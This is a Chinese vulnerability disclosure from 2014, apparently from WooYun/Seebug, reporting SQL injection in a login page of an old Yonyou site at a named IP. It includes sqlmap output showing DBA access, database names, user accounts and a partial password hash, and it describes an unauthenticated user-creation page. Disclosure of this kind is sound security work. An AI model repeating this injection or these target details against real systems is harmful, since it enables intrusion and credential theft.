用友某废弃站点存在SQL注入

2014-12-11T00:00:00
ID SSV:93321
Type seebug
Reporter Root
Modified 2014-12-11T00:00:00

Description

简要描述:

晚上无聊,看看公司的网站有什么漏洞,哈哈,果然无意间又发现了一枚. 上一次提交公司的漏洞:http://www.wooyun.org/bugs/wooyun-2014-084920 为什么RANK一直没补啊,漏洞也不再我的列表下? @疯狗 @xsser

详细说明:

存在地址:http://125.35.5.234:81/ ping dbmservice.yonyou.com
感觉是很老的站点,于是乎,在登录账号的时候输入了',果不其然,发现有注入 构造下URL:http://125.35.5.234:81/checkuser.asp?loginname=admin&pwd=1

[23:17:38] [INFO] fetching current user current user: 'sa' [23:17:38] [INFO] fetching current database current database: 'testdb' [23:17:38] [INFO] fetching server hostname hostname: 'XXTEST' [23:17:38] [INFO] testing if current user is DBA current user is DBA: True [23:17:39] [INFO] fetching database users [23:17:39] [INFO] the SQL query used returns 2 entries [23:17:39] [INFO] resumed: "BUILTIN\\\\Administrators" [23:17:39] [INFO] resumed: "sa" database management system users [2]: [*] BUILTIN\\Administrators [*] sa [23:17:39] [INFO] fetching database users password hashes [23:17:39] [INFO] the SQL query used returns 3 entries [23:17:39] [INFO] resumed: " "," " [23:17:39] [INFO] resumed: "BUILTIN\\\\Administrators"," " [23:17:39] [INFO] resumed: "sa","0x01008441bd0c06a1e0b894a678d3145108c3617bee...

DBA权限 列下库名:

[23:21:59] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 2003 web application technology: ASP.NET, Microsoft IIS 6.0, ASP back-end DBMS: Microsoft SQL Server 2000 [23:21:59] [INFO] fetching database names [23:21:59] [INFO] the SQL query used returns 8 entries [23:21:59] [INFO] resumed: "master" [23:21:59] [INFO] resumed: "model" [23:21:59] [INFO] resumed: "msdb" [23:21:59] [INFO] resumed: "Northwind" [23:21:59] [INFO] resumed: "pubs" [23:21:59] [INFO] resumed: "tempdb" [23:21:59] [INFO] resumed: "testdb" [23:21:59] [INFO] resumed: "turbocrm" available databases [8]: [*] master [*] model [*] msdb [*] Northwind [*] pubs [*] tempdb [*] testdb [*] turbocrm

漏洞证明:

再后面发现一个更鸡肋的事,突然发现有:http://125.35.5.234:81/main.asp 这个页面,随手添加了个用户1密码1,竟然直接登录进去了. 我勒个去去去去...